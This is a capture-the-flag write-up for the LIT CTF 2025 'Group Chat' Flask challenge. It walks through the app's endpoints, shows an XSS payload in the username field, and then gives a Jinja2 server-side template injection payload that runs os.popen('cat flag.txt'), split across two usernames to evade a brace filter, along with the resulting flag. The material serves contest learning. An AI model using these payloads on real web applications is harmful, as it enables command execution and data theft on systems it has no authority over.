Tags: flask web lit 2025 group-chat
Rating:
# WhiteDukesDZ - LIT CTF 2025 Writeup: Group Chat Challenge

We were also provided with the `main.py` file as part of this challenge.
---
## Challenge Summary
This challenge presented a simple Python Flask web application simulating a group chat. The goal was to analyze the application for vulnerabilities and exploit them to retrieve the flag.
## Provided Files
- `main.py` (Flask web app)
- Challenge image (see above)
## Application Analysis
After reviewing `main.py`, we identified three main endpoints:
1. **`/` (Home):**
- If `username` is not set in the session, redirects to `/set_username`.
- Otherwise, renders the chat page.
2. **`/set_username`:**
- Accepts `GET` and `POST` requests.
- On `GET`, displays a username form.
- On `POST`, verifies the provided `username`:
- If `username` length > 1000, registration is refused.
- If `username` contains both `{` and `}`, registration is refused.
- Otherwise, registration is accepted and redirects to `/`.
3. **`/send_message`:**
- Accepts only `POST` requests with a `message`.
- If `username` is not set in session, redirects to `/set_username`.
- If `message` contains non-alphanumeric symbols, message is refused.
- Otherwise, message is added to `chat_logs` as `username: message` and redirects to `/`.
### Security Observations
- The `/set_username` endpoint does not filter for XSS payloads in the `username` field. For example, setting `username` to `<script>alert('WhiteDukesDZ')</script>` and sending a message will execute the JavaScript payload:

- However, since the code executes only on the client side and there is no admin bot, this XSS cannot be leveraged to obtain the flag.
### Template Rendering
The chat logs are rendered as follows:
```python
<div id="chat-box">''' + '
'.join(chat_logs) + '''
</div>
```
If `chat_logs` is:
```python
chat_logs = [
"username1: message1",
"username2: message2"
]
```
It will be rendered as:
```html
username1: message1
username2: message2
```
And since we can control both `username1`, `message1`, `username2` and `message2` we certainly can cause a <ins>Server Side Template Injection</ins>
To confirm the possibility of a <ins>Server Side Template Injection (SSTI)</ins>, we can leverage our control over both `username` and `message` fields. This allows us to attempt injecting a Jinja2 payload that could execute server-side code.
**Local Testing:**
1. Create a `flag.txt` file in the same directory as `main.py`:
```sh
echo "FLAG{REDACTED}" > flag.txt
```
2. Modify the template in `main.py` for the `/` route to include a test payload that reads the contents of `flag.txt`:
```python
<div>{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}</div>
```
3. Run the Flask app locally:
```sh
python3 main.py
```
4. Visit `http://localhost:5000`, set a `username`, and navigate to `/`. You should see the contents of `flag.txt` displayed on the page.

However, on the remote instance, we cannot modify `main.py` directly. Therefore, our goal is to inject a payload through user input that results in the template rendering something like:
```html
{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}
```
by carefully crafting the values of `username` and `message`.
---
## Solution
To exploit the SSTI vulnerability and retrieve the flag, our goal was to make the rendered chat log look like:
```python
{{cycler.__init__.__globals__.os.popen('cat flag.txt').read()}}
```
Since we control both `username` and `message`, we can split the payload across two users/messages. Our approach:
- `username1 = {{cycler.__init__.__globals__.os.popen('cat flag.txt`
- `message1 = dummy`
- `username2 = '[:12]).read()}}`
- `message2 = dummy`
This results in the following template being rendered:
```python
{{cycler.__init__.__globals__.os.popen('cat flag.txt:
'[:12]).read()}}
```
which is functionally equivalent to our intended payload, as the injected `
` and extra characters are ignored by the Python slice.
We automated this process in `solution/solve.py`. To run the exploit against the remote instance provided by LIT CTF:
```sh
python3 solve.py
```
If successful, the script will output the flag:
```sh
Username set successfully.
Message sent successfully.
Username set successfully.
Message sent successfully.
LITCTF{1m_g0nn4_h4v3_t0_d0_m0r3_t0_5t0p_7he_1n3v1t4bl3_f0rw4rd_br4c3_f0rw4rd_br4c3_b4ckw4rd_br4c3_b4ckw4rd_br4c3}
```